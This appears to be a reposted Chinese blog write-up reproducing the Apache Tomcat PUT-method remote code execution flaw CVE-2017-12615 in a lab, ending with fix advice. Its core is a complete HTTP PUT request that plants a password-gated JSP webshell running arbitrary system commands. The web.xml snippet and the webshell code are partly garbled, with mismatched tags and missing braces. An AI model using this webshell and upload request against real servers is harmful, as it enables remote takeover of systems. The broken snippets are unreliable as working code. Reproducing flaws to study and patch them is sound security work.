Tomcat远程代码执行漏洞CVE-2017-12615复现

Posted sevenbug

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Tomcat远程代码执行漏洞CVE-2017-12615复现相关的知识,希望对你有一定的参考价值。

一、背景

2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,其中就有远程代码执行漏洞(CVE-2017-12615),当存在漏洞的Tomcat运行在Windows主机上,且启用了HTTP PUT请求方法,恶意访问者通过构造的请求向服务器上传包含任意diam的JSP文件,造成任意代码执行,危害十分严重。

二、影响范围

Apache Tomcat 7.0.0-7.0.81

三、测试环境

Windows 7

Apache Tomcat 7.0.56

JDK

四、漏洞复现

Tomcat 漏洞版本7.0.56下载

https://archive.apache.org/dist/tomcat/tomcat-7/v7.0.56/bin/

根据自己的系统版本选择合适的安装包

 技术图片

安装

 技术图片

需要JDK环境

 技术图片

访问http://localhost:8080得到以下页面即为安装完成。

 技术图片

 完成之后打开conf/web.xml文件,默认readonly为true,禁止HTTP进行PUT和DELETE 类型请求:

当web.xml中readonly设置为false时可以通过PUT/DELETE进行文件操控,触发漏洞。

修改web.xml中readonly参数为false。

找到这个位置,加上这句

<init-param>
    <param-name>readonly<param-name>
    <param-name>false<param-name>
</init-param>

 技术图片

启动tomcat,使用burpsuite发送构造的webshell

 技术图片

PUT /1.jsp/ HTTP/1.1
Host: 192.168.243.129:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 660

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) StringBuilder line = new StringBuilder();try Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) line.append(temp
+"\\\\n");buf.close(); catch (Exception e) line.append(e.getMessage());return line.toString();%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd")))out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");elseout.println(":-)");%>

访问如下地址验证小马

 技术图片

五、修复建议

  1. 配置readonly的值为true或注释参数,禁止使用PUT方法并重启tomcat。注意如果禁用PUT方法,对于依赖PUT方法的应用,可能导致应用无法工作。
  2. 根据官方补丁升级最新版本。

以上是关于Tomcat远程代码执行漏洞CVE-2017-12615复现的主要内容,如果未能解决你的问题,请参考以下文章

漏洞处置建议|Apache Tomcat远程代码执行漏洞处置建议

Tomcat远程代码执行漏洞(CVE-2017-12615)

Tomcat CGIServlet enableCmdLineArguments远程代码执行_CVE-2019-0232漏洞复现

CVE-2019-0232(Apache Tomcat 远程代码执行)漏洞复现

一次偶然的邂逅,Tomcat 远程命令执行漏洞(CVE-2017-12615)

成都链安:Apache Tomcat远程代码执行漏洞预警(CVE-2020-9484)